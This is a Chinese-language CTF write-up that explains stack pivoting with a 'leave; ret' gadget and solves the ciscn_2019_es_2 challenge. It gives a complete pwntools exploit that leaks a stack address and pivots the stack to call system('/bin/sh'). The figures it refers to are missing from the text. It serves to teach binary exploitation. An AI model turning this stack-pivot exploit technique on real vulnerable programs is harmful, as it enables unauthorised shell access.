原理

当溢出的长度太小时,可以通过leave_ret_gadget来将ebpesp迁移到我们想要的位置,比如:一个咱已经布置好ROP链的地方

假设在栈上布置如下的ROP链,我将通过图片来展示攻击效果

布置好之后,每个程序就返回前都会恢复栈,就如下图的程序,所以我们就等待程序leave ret:

leave就是等价于上面说到的那段汇编代码,首先执行的是mov esp,ebp,这会让图中的0x108放入到esp中,我们的栈就会发生如下变化:

接着就是pop ebp,诶~,这时候我们的ebp就变成了我们想要迁移的位置了:

我们在回顾一下栈上的情况,因为刚刚pop ebp,所以我们的esp指向了leave_ret这个gadget

所以程序又执行了一次leave,我们迁移后的栈就会变成这样:

非常的神奇吼!我们的esp指向了system函数!也就是说我们已经成功的获取了shell!!!

可能有读者要问了:啊?,你这ebp不是栈底寄存器吗?他怎么指向了一个奇怪的地方,你这不行啊?,对,此时的ebp已经指向了一个奇怪(后面的例题会展示奇怪的点)的地方,但是问题不大,我们只要明白ebpesp最根本的作用是什么就不会觉得奇怪了,ebp的作用是来定位每个函数的栈的大小,当函数返回时才需要通过ebp来恢复主函数的栈,而esp才是真正控制栈的进出,所以我们只要控制esp指向我们想要指向的函数就可以达到我们的目的了,至于ebp嘛,我们都拿到shell了,它能不能成功的返回已经不关我事了嘿嘿嘿~

例题解析

这里拿19年国赛的一道题(ciscn_2019_es_2)来讲解一下,经典入门题,在buu上,大伙可以去玩玩

习惯checksec一下:

main函数看看:

vul函数不用多说,肯定就是受害函数了,仔细一看,只能溢出8字节吼!也真够抠的,不过我们刚刚学了栈迁移,不慌

我们一个个来看吼,首先程序memsets这个数组,但是很奇怪,它初始化又不全部清零,就整了0x20个字节,它为啥要这么做呢,其实就是在泄露信息,如果它没全部清零,那后0x10是什么东西呢?诶~,就是栈上的地址对吧,所以当我们覆盖了s数组最后的"\n",那printf打印s的时候,是不是就不会截断,是不是就打印了那未初始化的值,也就泄露了栈上的地址,有人可能又有疑问了,泄露栈上的地址有什么用呢?别急,慢慢来!

在第一次read()的时候,我输入了24个a和我的id,计算一下s的位置到ebp的距离,拿起你的小计算器计算一下:0xa8 - 0x80 是不是等于0x28,至于为啥要到ebp呢,别问,问就是后面好定位偏移

按照上面的想法我们写出下面的exp:

1
2
3
4
5
io.recvuntil('your name?\n')
payload = 'a'*0x24
payload += 'zyen'
io.send(payload)
io.recvuntil('zyen')

前面我说过,我们栈迁移是迁移到另一个有我们ROP链的地方,但是这里我们并没有办法往其他地方写入我们的ROP链,我们只能往栈上写入,所以我有个大胆的想法,栈迁移到栈上,这样我们刚刚泄露的栈地址就有用了是不,所以我们在第二次read()的时候就将栈布置成这样:

1
2
3
4
5
6
7
8
payload = 'aaaa'
payload += p32(sys_addr)
payload += 'zyen'
payload += p32(ebp_addr-0x28)
payload += '/bin/sh\00'
payload = payload.ljust(0x28,'a')
payload += p32(ebp_addr-0x38)
payload += p32(leave_ret)

咱动调看看:

leave之后:

注意espebp,是不是espebp还大哈哈哈:

再往下执行,咱就发现esp指向了systemplt

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
from pwn import *


context(arch='i386',os='linux',log_level='debug')
io = process('ciscn_2019_es_2')
elf = ELF('ciscn_2019_es_2')
#io = remote('node3.buuoj.cn',27587)
sys_addr = elf.plt['system']
leave_ret = 0x080484b8
#gdb.attach(io)


io.recvuntil('your name?\n')
payload = 'a'*0x24
payload += 'zyen'
io.send(payload)
io.recvuntil('zyen')
ebp_addr = u32(io.recv(4))
io.success('[*] ebp_addr: ' + hex(ebp_addr))
payload = 'aaaa'
payload += p32(sys_addr)
payload += 'zyen'
payload += p32(ebp_addr-0x28)
payload += '/bin/sh\00'
payload = payload.ljust(0x28,'a')
payload += p32(ebp_addr-0x38)
payload += p32(leave_ret)
io.send(payload)


io.interactive()